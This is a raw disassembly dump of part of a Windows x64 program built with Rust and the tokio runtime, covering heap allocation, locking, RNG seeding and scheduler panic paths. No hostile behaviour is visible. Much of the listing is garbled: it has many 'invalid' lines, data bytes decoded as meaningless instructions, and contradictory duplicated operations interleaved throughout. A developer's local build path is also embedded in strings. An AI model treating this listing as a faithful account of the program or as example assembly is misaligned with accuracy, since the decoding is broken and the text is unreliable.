adc byte [rax - 0x7d], cl
invalid
sub byte [rax - 1], cl
invalid
adc byte [rax + 0x28c48348], dl
invalid
sub bl, al
lea ecx, str.assertion_failed:_prev.ref_count_____1
or eax, 0x550e4
in al, 0x50
push rax
add eax, 0x58d4c00
add byte [rbp + rcx*4 + 5], cl
add eax, 0x55105
add eax, 0xba000551
invalid
add eax, 0x27ba00
add byte [rax], al
add byte [rdx + 0x27], bh
adc eax, 0xb0f0001
int3
or ecx, esp
int3
int3
int3
int3
int3
int3
sub rsp, 0xb8
mov eax, 0x49000000
add byte [rcx - 0x77], cl
ror byte [rax - 0x75], cl
add dword [rbx - 0x3e09cbb6], ecx
xor al, 0xf6
rcl dword [rax], 0xf
invalid
adc byte [rdi], cl
test ebx, edx
rol dword [rax], cl
add byte [rax], al
invalid
add byte [rax], al
add dh, dh
shl dword [rax], 0xf
and byte [rdi], cl
invalid
add byte [rax - 0x7f], cl
cmp ecx, 0x2710
stc
adc byte [rdi], ah
invalid
invalid
add byte [rax], al
invalid
add dword [rax], eax
add byte [rcx - 0x45], al
invalid
invalid
invalid
add byte [rax], al
mov ebx, 0x27
add byte [rax], al
add byte [rcx - 0x48], cl
invalid
invalid
pop r9
pop rcx
add byte [rax], al
mov eax, 0x3886594b
pop rcx
xchg byte [rax], bh
invalid
invalid
insd dword [rdi], dx
xor al, 0x4c
lea ecx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
or eax, 0x4ded1
rcr esi, 1
fiadd word [rax + rax]
add al, 0
add byte [rax + 0x49c88948], dl
mov eax, ecx
enter 0xfffffffffffff749, 0xffffffffffffffe0
mul eax
shr edx, 0xb
invalid
add byte [rax], al
invalid
invalid
jnp 0x1400988fc
adc al, 0
add byte [rax], al
add cl, al
out dx, eax
adc ebp, dword [rbx - 0x39]
sub esi, eax
cld
cld
movzx edi, word [rcx + rdi*2]
mov bh, 0x3c
cmp al, 0x79
jns case.0x1400838bf.301
mov dword [rsp + r11 + 0x34], edi
mov dword [rsp + rbx + 0x34], edi
jl case.0x1400836ee.323
sbb al, 0x34
xor al, 0x41
movzx esi, word [rcx + rsi*2]
xor al, 0x71
jno case.0x140084be2.283
mov dword [rsp + r11 + 0x36], esi
mov dword [rsp + rbx + 0x36], esi
sbb al, 0x36
mov r11, rax
mov ebx, eax
ret
cmp ecx, 0x5f5e0ff
stc
jmp rax
loopne case.0x1400836ee.305
cmc
add eax, 0x77d18948
mov ecx, edx
mov dl, 0x48
cmp edx, 0x63
cli
invalid
xor dword [rdi], ecx
mov bh, 0xca
invalid
retf 0xe9c1
add ch, byte [rcx - 0x37]
jnp case.0x1400837b8.290
adc al, 0
add byte [rax], al
add cl, al
jmp 0x10174cd47
adc dword [rbx + rbp*2 - 0x3f], eax
adc dword [rbx + rbp*2 - 0x3f], eax
shl dword [rsp + rax*2 + 0x29], 0xc2
sub edx, r8d
sub edx, eax
ret 0xb70f
mov bh, 0xd2
ror byte [rbp + rcx*4 + 5], cl
pop rsp
fiadd word [rax + rax]
add al, 0
lea eax, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
add eax, 0x4de5c
add al, 0
movzx edx, word [rax + rdx*2]
push rax
mov dword [rsp + rax + 0x36], edx
push rsp
add al, 0x36
invalid
dec byte [rax - 0x77]
mov edx, ecx
retf 0x8348
cmp edx, 0xa
cli
or cl, byte [rdi]
invalid
xor ecx, 0
add byte [rax], al
ret 0x8830
push rsp
add al, 0x37
invalid
test byte [rax], 0
add byte [rax], al
add byte [rbx - 0x7e47bef0], cl
adc byte [rcx - 0x48], al
add dword [rax], 0x30b80000
add byte [rax], al
add byte [rax + 0x30], bh
add byte [rax], al
add byte [rcx - 0x77], al
mov r9d, edx
nop
add byte [rax], al
mov ecx, edx
mov ecx, eax
shr ecx, 4
jmp 0x11092ca8e
mov eax, edx
and al, 0xf
cmovno eax, dword [rax - 0x44bef508]
clc
or al, byte [rcx - 0x45]
mov ebx, 0x57
push rdi
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi + rcx + 0x42], al
fadd dword [rbp]
invalid
invalid
cmovb ebx, eax
fadd dword [rbp]
add bl, al
ret
mov byte [rsp + rcx + 0x36], bl
pop rsp
or al, 0x36
lea r8, ss:[rcx - 1]
lea eax, [rcx - 1]
inc dword [r11 - 0x76bbef06]
cli
adc byte [rcx + rcx*4 - 0x36], al
mov edx, ecx
retf 0xd073
shr bl, 1
mov r10, qword [rax]
adc byte [rcx - 0x48], al
mov eax, 0x81
add dword [rax], 0x30b80000
add byte [rax], al
add byte [rax + 0x30], bh
xor byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], al
shl dword [rsi + 0x66], 1
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov ecx, eax
add byte [rax], al
mov ecx, eax
shr ecx, 4
cmovno eax, dword [rax - 0x44bef508]
cmp al, 0xa
clc
or al, byte [rcx - 0x45]
invalid
invalid
mov ebx, 0x37
invalid
add byte [rax], al
add byte [rdi + rcx + 0x42], al
invalid
invalid
add byte [rax], al
cmovb ebx, eax
fadd dword [rbp]
fadd dword [rbp]
ret
add ecx, 0xfffffffe
add byte [rax], 0
add byte [rdi], cl
xchg dword [rax + rax - 0x7e480000], ecx
mov word [rax], es
add byte [rax], al
invalid
invalid
invalid
mov word [rax], es
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x81], bh
add byte [rax], al
add byte [rcx + rbp - 0x40], cl
sub rax, r8
add byte [rax], al
sub eax, eax
add ecx, esp
add ecx, 0x38
cmp byte [rax - 0x77], cl
mov dword [rsp + 0x28], eax
and al, 0x28
sub byte [rax - 0x77], cl
and al, 0x20
mov dword [rsp + 0x20], ecx
and byte [rbp + rcx*4 + 5], cl
sub byte [rbp - 0x46befffc], ch
add al, byte [rax]
lea eax, [0x1400e3759]
add eax, 0x4ad28
add al, 0
mov ecx, 2
add byte [rax], al
mov ecx, edx
add ebx, ebp
mov rdx, rcx
invalid
fld qword [r8 + rax]
push rcx
or al, 4
add ecx, 0x38
invalid
add byte [rax], al
sub edx, eax
mov dword [rsp + 0x28], edx
sub byte [rax - 0x77], cl
and al, 0x20
rcl dword [rdi + 5], cl
add byte [rcx + rcx*4 - 0x2f], cl
mov ecx, edx
sal dword [rdx - 0x36cebaff], 1
add dword [rbp + 0x31], eax
leave
invalid
cli
call qword [rax - 0x473b7eb8]
nop
invalid
invalid
invalid
invalid
add byte [rax], al
mov eax, 0x5f000000
add byte [rdi + 0x5e], bl
add byte [rax], al
cmp rsi, 0xffffffffffffffff
cmp esi, 0xffffffff
je 0x140098ae6
lock dec qword [rsi + 8]
jne 0x140098ae6
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
invalid
ror byte [rcx - 0x77], cl
invalid
nop
add rsp, 0x20
add esp, 0x20
invalid
pop rsi
ret
int3
sub rsp, 0x20
sub esp, 0x20
and byte [rax - 0x77], cl
mov rsi, rcx
mov esi, ecx
invalid
cmp qword [rcx], 0
cmp dword [rcx], 0
cmp dword [rax], eax
add byte [rax + 0x75023879], al
cmp byte [rcx + 0x38], 2
cmp byte [rdx], al
add dh, byte [rbp + 0x18]
jne 0x140098b1a
sbb byte [rax - 0x75], cl
mov rax, qword [rsi + 8]
lock dec qword [rax]
dec qword [rax]
or al, r14b
or al, dh
dec qword [rax]
dec dword [rax]
jne 0x140098b69
pop rbp
mov rcx, qword [rsi + 8]
add rsp, 0x20
pop rsi
jmp case.0x140028086.698
xor bh, dh
invalid
cmp qword [rsi + 0x10], 0
je 0x140098b34
mov r8, qword [rsi + 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
invalid
int3
invalid
sar bh, cl
adc eax, 0x178d4
invalid
js 0x140098b34
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x7d], cl
cmp qword [rsi + 0x20], 0
jle 0x140098b58
add byte [rbx + rdx + 0x4c], dh
je 0x140098b4e
mov r8, qword [rsi + 0x18]
mov eax, dword [rsi + 0x18]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x178ba
add dword [rax], eax
mov rax, qword [rsi + 0x30]
or byte [rbp + 0x11], dh
xor byte [rax - 0x77], cl
int1
invalid
idiv edi
and byte [rsi - 0x3d], bl
loopne 0x140098b78
lea edx, [0x1400f0d60]
in al, 0x81
add eax, 0x4634800
add al, 0x82
add dword [0x1446cd383], 0xd0014882
add eax, edx
sar bh, 1
loopne 0x140098b95
invalid
mov dh, 0x41
adc bl, al
mov dh, 0x41
movnti dword [rax - 0x3f], ecx
ret
invalid
invalid
jmp 0xc10b3bb6
add dword [rcx + 0x3e2f9], eax
loop 0x140098b9c
add byte [rax], al
add byte [rsi + 0x47], bh
cmp r9d, 0x271c
invalid
xchg ecx, eax
jrcxz case.0x14008e02d.117
invalid
cli
xor al, 0xf
invalid
xchg ecx, edi
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x1400f123c]
or eax, 0x58681
stc
sub byte [rdi], cl
xchg dword [rsi + 0x48000001], ebp
lea eax, [0x1400f0d70]
add dword [0x14c6cd3df], 0xc1014888
mov byte [rax + 1], cl
sar edi, 0xe1
cmp dword [rcx], eax
add byte [rax], al
invalid
invalid
sbb eax, dword [rax]
add byte [rdi + 0x5f], bh
stc
adc eax, 0xf000017
invalid
add byte [rax], al
invalid
add byte [rax], al
invalid
add byte [rax], al
stc
syscall
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x1d0], 0
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x210], 0
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x230], 0
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x250], 0
mov qword [rsp + 0x260], 0
mov qword [rsp + 0x270], 0
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x290], 0
mov qword [rsp + 0x2a0], 0
mov qword [rsp + 0x2b0], 0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop dword cs:[rax + rax]
test byte [0x18d09bf7d], dh
mov edx, ecx
add eax, dword [rax]
add byte [rcx + rdi - 0x40], cl
invalid
sub byte [rax + rax], al
add byte [rcx - 0x77], cl
or byte [rcx - 0x39], cl
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax + 0x4c], 0x89
adc byte [rcx + rcx*4 + 0x56], cl
sub byte [rax - 0x7d], cl
jle 0x14009c01b
add byte [rbp - 0x7c], dh
cmp edx, ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
rol dword [rax], 1
xor byte [rax - 0x7d], cl
stc
and dword [rdi], ecx
adc esi, 0
add byte [rax], al
add al, byte [rax]
add byte [rax], al
adc eax, 0x135c7
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x14009ce9f
xor eax, eax
movzx ecx, byte [rsi + 8]
test cl, cl
jne 0x14009ceae
mov ecx, dword [rsi + 0xc]
mov edi, dword [rsi + 0x10]
mov ebp, ecx
shl ebp, 0x11
xor ebp, ecx
mov ecx, edi
shr ecx, 0x10
xor ecx, edi
xor ecx, ebp
shr ebp, 7
xor ebp, ecx
mov ecx, edi
shl ecx, 0x11
xor ecx, edi
mov ebx, ecx
shr ebx, 7
mov edx, ebp
shr edx, 0x10
xor ebx, ecx
xor ebx, ebp
xor ebx, edx
mov dword [rsi + 0xc], ebp
mov dword [rsi + 0x10], ebx
test al, al
jne 0x14009ce85
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x14009cee2
add ebx, ebp
add edi, ebp
mov rcx, rsi
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
xor eax, 0xf8890001
mov edx, ebx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
call fcn.1400ae3b0
xor al, 1
movzx ecx, byte [rsi + 8]
test cl, cl
je 0x14009ce3a
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
lea rax, [0x1400ee218]
mov qword [rsp + 0x20], rax
lea rcx, str.RNG_seed_generator_is_internally_corruptC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcutil_rand_rt.rs
lea r9, [0x1400eb6d0]
lea r8, [rsp + 0x28]
mov edx, 0x28
call fcn.1400aa200
ud2
call fcn.1400ae3b0
add dword [rax], eax
test al, al
jne 0x14009ce85
mov byte [rsi + 8], 1
jmp 0x14009ce85
ror dword [r8 - 0x7d], 1
cli
add eax, 0x4bf
add byte [rax + 0xf], cl
cli
xor edx, edx
mov rcx, rdi
shr rcx, 0x3c
sete dl
lea r8, [rdi*8]
shl rdx, 3
test rax, rax
je 0x14009cf67
mov rcx, qword [rsi]
shl rax, 3
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
jmp 0x14009cf70
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
sub al, ch
xor dword [rax - 0x7cb80000], ecx
jl 0x14009cfa7
add byte [rax - 0x75], cl
and al, 0x48
sub al, ch
xor dword [rax - 0x7cb80000], ecx
jl 0x14009cfa7
add byte [rax - 0x75], cl
and al, 0x48
je 0x14009cfa7
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14009cfae
test rcx, rcx
jne 0x14009cfb5
call fcn.1400401e0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.1400a9bd0
ud2
pop rsi
pop r15
jmp fcn.1400ab3c0
add dword [rcx], esi
sal al, 0xf
mov al, 0x4e
and byte [rbp + 0x24], dh
cmp byte [rsi + 0x50], 0
je 0x14009d0a5
mov ebx, 8
xor r14d, r14d
xor edi, edi
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0x20], cl
je 0x14009d199
jmp 0x14009d1fb
mov byte [rsi + 0x50], 1
mov rdi, qword [rsi + 0x28]
mov rbx, qword [rsi + 0x38]
mov qword [rsi + 0x38], 0
test rbx, rbx
je 0x14009d0ed
xor r14d, r14d
jmp 0x14009d0d8
nop dword [rax + rax]
inc r14
cmp rbx, r14
je 0x14009d0ed
mov rax, qword [rdi + r14*8]
lock dec qword [rax]
jne 0x14009d0d0
out dx, al
out dx, al
mov rcx, qword [rdi + r14*8]
call fcn.140098450
jmp 0x14009d0d0
mov qword [rsp + 0x28], 8
mov qword [rsp + 0x30], 0
mov r14, qword [rsi + 0x48]
mov qword [rsp + 0x38], 0
test r14, r14
je 0x14009d1e6
lea r15, [rsi + 0x40]
mov eax, 8
add byte [rax], al
add byte [rcx], dh
dec dword [rdi]
push rdi
test byte [rax - 0x73], 0x5c
and al, 0x28
add byte [rax], al
add byte [rcx], dh
dec dword [rdi]
push rdi
test byte [rax - 0x73], 0x5c
and al, 0x28
jmp 0x14009d148
add r14, 0xffffffffffffff80
add esi, 0xffffff80
mov qword [rax + rdi*8], r14
inc rdi
mov qword [rsp + 0x38], rdi
mov r14, r12
test r12, r12
je 0x14009d184
mov r12, qword [r14]
mov qword [rsi + 0x48], r12
lea rcx, [r12 + 8]
test r12, r12
cmove rcx, r15
mov qword [rcx], 0
movups xmmword [r14], xmm6
cmp rdi, qword [rsp + 0x30]
jne 0x14009d130
mov rcx, rbx
mov rdx, rdi
call fcn.14009cf00
std
invalid
dec dword [rax - 0x75]
and al, 0x28
mov rdi, qword [rsp + 0x38]
jmp 0x14009d130
std
invalid
mov rbx, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
xor ecx, ecx
mov al, 1
add eax, esi
cmpxchg byte [rsi + 0x20], cl
add eax, esi
cmpxchg byte [rsi + 0x20], cl
jne 0x14009d1fb
test rdi, rdi
je 0x14009d20c
shl rdi, 3
xor r15d, r15d
mov r12d, 0x80000000
jmp 0x14009d1b9
add r15, 8
cmp rdi, r15
je 0x14009d20c
mov rsi, qword [rbx + r15]
lea rcx, [rsi + 0x80]
lock or qword [rsi + 0x90], r12
or qword [rsi + 0x90], r12
or qword [rsi + 0x90], r12
add byte [rdx + 0x2f], bh
mov edx, 0x2f
call fcn.1400984d0
lock dec qword [rsi]
jne 0x14009d1b0
mov rcx, rsi
call fcn.140098450
jmp 0x14009d1b0
mov ebx, 8
xor edi, edi
xor r14d, r14d
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0x20], cl
je 0x14009d199
add rsi, 0x20
mov rcx, rsi
call fcn.1400ab780
test rdi, rdi
jne 0x14009d19e
test r14, r14
je 0x14009d236
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rax
pop rax
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
int3
or bh, bh
invalid
xor eax, eax
lock cmpxchg byte [rdi + 0x50], cl
jne 0x14009d3ce
mov ecx, 2
xor eax, eax
lock cmpxchg qword [r14 + 0x18], rcx
jne 0x14009d445
test dword [rcx + rax], edx
add byte [rax], al
test dword [rcx + rax], edx
add byte [rax], al
lea rcx, [rdi + 0x18]
cmp qword [rdi + 0x10], 0
je 0x14009d457
cmp byte [rdi + 0x48], 2
jne 0x14009d464
mov rcx, qword [rcx]
add rcx, 0x10
call fcn.14009ad30
jmp 0x14009d479
lea rdi, [r14 + 0x28]
xor eax, eax
lock cmpxchg byte [r14 + 0x28], cl
jne 0x14009d574
mov ecx, 1
xor eax, eax
lock cmpxchg qword [r14 + 0x18], rcx
jne 0x14009d58f
lea rbx, [r14 + 0x20]
xor r15d, r15d
nop word [rax + rax]
pop rsi
and byte [rbp + 0x31], al
jmp qword [rsi + 0xf]
mov rcx, rbx
mov rdx, rdi
mov r9d, 0x3b9aca00
call fcn.140060020
mov eax, 3
lock cmpxchg qword [r14 + 0x18], r15
jne 0x14009d400
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi], cl
je 0x14009d495
jmp 0x14009d5ad
invalid
cmp rax, 3
jne 0x14009d643
xor eax, eax
xchg qword [r14 + 0x18], rax
jmp 0x14009d490
mov r9d, 0x3b9aca00
call fcn.14009afb0
jmp 0x14009d479
cmp qword [rdx], 0
je 0x14009d760
mov r9d, 0x3b9aca00
call fcn.14009b400
xor eax, eax
xchg qword [r14 + 0x18], rax
mov rcx, rax
and rcx, 0xfffffffffffffffe
cmp rcx, 2
add cl, byte [rdi]
test dword [rdx], edx
add al, byte [rax]
invalid
add cl, byte [rdi]
test dword [rdx], edx
add al, byte [rax]
add byte [rcx], dh
rol byte [rsi - 0x7cb7afb9], 0x7e
sbb byte [rax], al
xor eax, eax
xchg byte [rdi + 0x50], al
cmp qword [rsi + 0x18], 0
jne 0x14009d4d2
nop dword [rax]
mov qword [rsi + 0x18], 0xffffffffffffffff
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x14009d4e0
dec rax
mov qword [rsi + 0x30], rax
mov rcx, qword [rsi + 0x20]
shl rax, 4
mov rdx, qword [rcx + rax]
add dword [rax - 0x75], ecx
add qword [rax], r9
add dword [rax - 0x75], ecx
add qword [rax], r9
call qword [rdx + 8]
inc qword [rsi + 0x18]
je 0x14009d4a0
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulerdefer.rs
call fcn.1400aa140
ud2
invalid
mov qword [rsi + 0x18], 0
sbb byte [rax], r8b
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
jle 0x14009d4f4
cmp qword [rsi + 8], 0
jne 0x14009d5e2
add byte [rdi], cl
test edi, ebp
add byte [rax], al
add byte [rax - 0x39], cl
or dil, r15b
invalid
mov qword [rsi + 8], 0xffffffffffffffff
mov dword [rsi + 8], 0xffffffff
mov rdi, qword [rsi + 0x10]
mov qword [rsi + 0x10], 0
add byte [rax], al
add byte [rax - 0x7b], cl
dec dword [rdi]
test al, ah
add byte [rax], al
invalid
mov qword [rsi + 8], 0
mov rax, qword [rdi + 8]
test rax, rax
je 0x14009d530
lock dec qword [rax]
jne 0x14009d530
lea rcx, [rdi + 8]
call fcn.140097b90
mov qword [rdi + 8], r14
cmp byte [rdi + 0x49], 0
jne 0x14009d565
mov rax, qword [rdi + 0x18]
mov rcx, qword [rax + 0x18]
mov eax, dword [rax + 0x20]
sub eax, ecx
cmp qword [rdi], 1
sbb rax, 0xffffffffffffffff
cmp rax, 2
jb 0x14009d565
mov rax, qword [rsi]
mov rcx, qword [rax + 0x10]
add rcx, 0x10
call fcn.14009dbf0
mov rax, rdi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, rdi
call fcn.1400abaf0
mov ecx, 1
xor eax, eax
lock cmpxchg qword [r14 + 0x18], rcx
je 0x14009d3f3
cmp rax, 3
jne 0x14009d701
xor eax, eax
xchg qword [r14 + 0x18], rax
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi], cl
je 0x14009d495
mov rcx, rdi
call fcn.1400ab780
jmp 0x14009d495
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1400aa140
ud2
lea rcx, str.core_missing
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
mov edx, 0xc
call fcn.1400aa2a0
ud2
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, [fcn.1400415d0]
mov qword [rsp + 0x28], rax
lea rax, [0x1400ebe90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x40]
call fcn.1400a9cb0
ud2
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, [fcn.1400415d0]
mov qword [rsp + 0x28], rax
lea rax, str.inconsistent_park_timeout_state:
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x40]
call fcn.1400a9cb0
ud2
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, [fcn.1400415d0]
mov qword [rsp + 0x28], rax
lea rax, [0x1400ebe90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
push rax
push rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x40]
call fcn.1400a9cb0
ud2
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
or eax, 0x4ebe1
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimeiodriver.rs
lea eax, [0x1400ecf10]
mov edx, 0x68
call fcn.1400aa2a0
ud2
and al, 0x68
add dword [rax], eax
add byte [rcx], al
add byte [rbp + rcx - 0x80], dh
mov eax, 0x165
add dword [rax], eax
add byte [rax], al
je 0x14009da66
cmp r13, 3
jb 0x14009d994
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
cmpxchg byte [rdi + 0xc8], cl
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x4ef5f
call fcn.1400aa140
ud2
cmp rax, qword [rcx + 0xb0]
jae 0x14009dd0a
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0xb8], cl
jne 0x14009dcdd
mfence
mov rax, qword [rsi + 0xa8]
test ax, ax
jne 0x14009dcfc
shr rax, 0x10
cmp rax, qword [rsi + 0xb0]
jae 0x14009dcfc
lea rcx, [rsi + 0xb8]
call fcn.1400abaf0
mfence
mov rax, qword [rsi + 0xa8]
test ax, ax
je 0x14009dc43
xor ebx, ebx
mov al, 1
lock cmpxchg byte [rsi + 0xb8], bl
jne 0x14009dd12
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
ror byte [rdi], 0x84
ret
jo 0x14009e532
add eax, 0xc9854800
jne 0x14009e5a6
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eada
mov rcx, rax
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009eada
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], 0
mov byte [rax + 0x28], 0
mov qword [rax + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rax + 0x38], xmm0
movups xmmword [rax + 0x41], xmm0
mov qword [rax + 0x58], 8
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x69], xmm0
lock inc qword [rdi]
jle 0x14009ead6
lock inc qword [r14]
jle 0x14009ead6
test r13, r13
je 0x14009e72e
mov rax, r13
shr rax, 0x3a
jne 0x14009eb2d
mov r12, r13
shl r12, 5
je 0x14009e743
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
leave
leave
jne case.0x140083c5d.611
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eb0d
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x14009eb0d
mov r12d, 0x10
mov rcx, r15
mov ecx, edi
mov ecx, edi
cmp r13, 2
jae 0x14009e75c
jmp 0x14009e80c
add dword [rax], eax
add byte [rax], al
mov qword [rax + 8], 1
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
mov byte [rax + 0x20], 0
lock inc qword [rax]
jle 0x14009ead6
mov ss, esp
add eax, dword [rax]
invalid
xor r14d, r14d
mov r8b, 2
mov rdi, r15
jmp 0x14009e8b1
mov r15d, 8
mov eax, 8
mov qword [rsp + 0x30], rax
jmp 0x14009e85b
mov r15d, 8
mov r12d, 0x10
mov rcx, r15
cmp r13, 2
jb 0x14009e80c
lea rdx, [r13 - 1]
lea r9, [r13 - 2]
mov eax, edx
and eax, 7
mov r8, r15
cmp r9, 7
jb 0x14009e7e7
and rdx, 0xfffffffffffffff8
xorps xmm0, xmm0
mov rcx, r15
nop dword [rax]
movups xmmword [rcx + 0xc], xmm0
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x2c], xmm0
movups xmmword [rcx + 0x40], xmm0
movups xmmword [rcx + 0x4c], xmm0
movups xmmword [rcx + 0x60], xmm0
movups xmmword [rcx + 0x6c], xmm0
movups xmmword [rcx + 0x80], xmm0
movups xmmword [rcx + 0x8c], xmm0
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xac], xmm0
movups xmmword [rcx + 0xc0], xmm0
movups xmmword [rcx + 0xcc], xmm0
movups xmmword [rcx + 0xec], xmm0
movups xmmword [rcx + 0xe0], xmm0
add rcx, 0x100
add rdx, 0xfffffffffffffff8
jne 0x14009e780
mov r8, rcx
test rax, rax
je 0x14009e805
xorps xmm0, xmm0
nop
lea rcx, [r8 + 0x20]
movups xmmword [r8 + 0xc], xmm0
movups xmmword [r8], xmm0
mov r8, rcx
dec rax
jne 0x14009e7f0
invalid
jmp 0x14009e853
mov r12, r13
shl r12, 4
xorps xmm0, xmm0
movups xmmword [rcx + 0xc], xmm0
movups xmmword [rcx], xmm0
